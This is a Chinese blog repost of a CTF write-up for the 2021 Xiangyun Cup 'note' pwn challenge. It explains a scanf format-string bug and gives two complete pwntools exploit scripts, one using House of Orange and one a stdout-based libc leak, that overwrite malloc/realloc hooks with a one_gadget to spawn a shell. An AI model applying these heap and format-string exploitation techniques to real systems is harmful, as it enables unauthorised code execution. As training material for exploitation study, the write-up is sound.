pwn-2021祥云杯-note[堆中的格式化字符串利用+stdio泄漏libc or House of Orange]

pwn-2021祥云杯-note[堆中的格式化字符串利用+stdio泄漏libc or House of Orange],第1张

pwn-2021祥云杯-note[堆中的格式化字符串利用+stdio泄漏libc or House of Orange]

保护全开

本来是一个很简单的题
但是关于格式化字符对应的byte或者str().encode输入弄了我半天

代码审计

有增和查,没删,主要就是say里有个scanf的格式化字符串利用

__int64 say()
{
  char buf[104]; // [rsp+0h] [rbp-70h] BYREF
  unsigned __int64 v2; // [rsp+68h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("say ? ");
  read(0, buf, 0x64uLL);
  printf("? ");
  __isoc99_scanf(buf);
  printf("know");
  return 0LL;
}

对于 %d,要以str().encode形式读入数据
对于 %s,可以以p64()的形式读入数据

%d个人用起来太麻烦了,所以用%s
至于偏移为7,是因为前五个在寄存器里,栈上就是第六个了,而栈上的第一个参数就是我们的buf,地址正好写到第七个的位置

House of orange

由于add的时候会告诉你这个地址,其实也就是得到了基址,用格式化字符串取改掉top_size,再改__realloc_hook和__malloc_hook

from pwn import*
context(os='Linux',log_level = 'debug',arch='amd64')
name="note"
elf=ELF("./"+name)
local=1
v64=1

port=28524
IP="node4.buuoj.cn"
if local:
	p=process("./"+name)
	if v64:
		libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
	else:
		libc=ELF("/lib/i386-linux-gnu/libc.so.6")
else:
	p=remote(IP,port)
	if v64:
		libc=ELF("/home/squirrel/桌面/buulibc/16/64/libc-2.23.so")
	else:
		libc=ELF("/home/squirrel/桌面/buulibc/16/32/libc-2.23.so")

def dbg():
	gdb.attach(p)
	pause()
'''
sed -i s/alarm/isnan/g ./test
sudo -s echo 0 > /proc/sys/kernel/randomize_va_space
	libcbase=printf-libc.sym['printf']
	system=libcbase+libc.sym['system']
	binsh=libcbase+next(libc.search(b'/bin/sh')))
'''
ogg64=[0x45226,0x4527a,0xf03a4,0xf1247]
sssssss="%i$n"
se      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims 		:p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'x00'))
uu64    = lambda data               :u64(data.ljust(8, b'x00'))
info    = lambda tag, addr        :p.info(tag + ': {:#x}'.format(addr))
ir    = lambda                    :p.interactive()


def choice(i):
	sla("choice: ",str(i))

def add(size,content="s"):
	choice(1)
	sla(":",str(size))
	sa(":",content)

def show():
        choice(3)

def say(say,say2):
        choice(2)
        sa('say ? ',say)
        sla('? ',say2)

def exp(i):
	add(0x30)
	ru("addr: ") 
	leak=int(rc(14),16)  
	info("leak",leak)
	
	# House of Orange
	top=leak+0x30
	pl=b"%7$saaaa"+p64(top+8)
	say(pl,p64(0xfc1))
	
	# The maximum allocated byte is 0x100
	for i in range(0xf-1):
		add(0x100)
	add(0x100)# mmap
	add(0xb0)# main_arena+xx
	show()
	ru("content:")
	leak2=uu64(ru('x7f')[-6:])
	info("leak2",leak2)

	libc_base=leak2-(0x7fc43a5feb73-0x7fc43a23a000)
	info("libc_base",libc_base)
	
	mh=libc_base+libc.sym['__malloc_hook']
	rl=libc_base+libc.sym['realloc']
	rh=libc_base+libc.sym['__realloc_hook']
	info("malloc hook",mh)
	ogg=ogg64[1]+libc_base
	
	pl=b"%7$saaaa"+p64(rh)
	info("ogg",ogg)
	say(pl,p64(ogg)+p64(rl+i))
	sl("1")
	sl("16")
	
if __name__=="__main__":
	exp(6)
	sl("cat flag")
	ir()
stdout

在栈上可能会有_IO_2_1_stdout_

用stdout泄漏libc,然后打法一样了

from pwn import*
context(os='Linux',log_level = 'debug',arch='amd64')
name="note"
elf=ELF("./"+name)
local=1
v64=1

port=28524
IP="node4.buuoj.cn"
if local:
	p=process("./"+name)
	if v64:
		libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
	else:
		libc=ELF("/lib/i386-linux-gnu/libc.so.6")
else:
	p=remote(IP,port)
	if v64:
		libc=ELF("/home/squirrel/桌面/buulibc/16/64/libc-2.23.so")
	else:
		libc=ELF("/home/squirrel/桌面/buulibc/16/32/libc-2.23.so")

def dbg():
	gdb.attach(p)
	pause()
'''
sed -i s/alarm/isnan/g ./test
sudo -s echo 0 > /proc/sys/kernel/randomize_va_space
	libcbase=printf-libc.sym['printf']
	system=libcbase+libc.sym['system']
	binsh=libcbase+next(libc.search(b'/bin/sh')))
'''
ogg64=[0x45226,0x4527a,0xf03a4,0xf1247]
sssssss="%i$n"
se      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims 		:p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'x00'))
uu64    = lambda data               :u64(data.ljust(8, b'x00'))
info    = lambda tag, addr        :p.info('======>'+tag + ': {:#x}'.format(addr))
ir    = lambda                    :p.interactive()


def choice(i):
	sla("choice: ",str(i))

def add(size,ct="s"):
        choice(1)
        sla('size: ',str(size))
        sla('content: ',ct)


def show():
        choice(3)

def say(say,say2):
        choice(2)
        sa('say ? ',say)
        sla('? ',say2)

def exp(i):
	pl=p64(0xfbad1800)+p64(0)*3
	# debuging
	# choice(2)
	# gdb.attach(p)
	# sl("AA")
	say('%7$s'+'x00'*4,pl)
	leak_libc=uu64(ru('x7f')[-6:])
	libc_base=leak_libc-(0x7ffff7dd06e0-0x7ffff7a0d000)
	info("leak_libc",leak_libc)
	info("libc_base",libc_base)
	
	ogg=ogg64[1]+libc_base
	mh=libc_base+libc.sym['__malloc_hook']
	realloc=libc_base+libc.sym['realloc']
	pl=b'%7$s'+b'x00'*4+p64(mh-8)
	pl2=p64(ogg)+p64(realloc+i)
	say(pl,pl2)
	choice(1)
	sla(":",str(16))
	#dbg()

	
if __name__=="__main__":
	exp(6)
	sl("cat flag")
	ir()

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/5619728.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-15
下一篇 2022-12-15

发表评论

登录后才能评论

评论列表(0条)

保存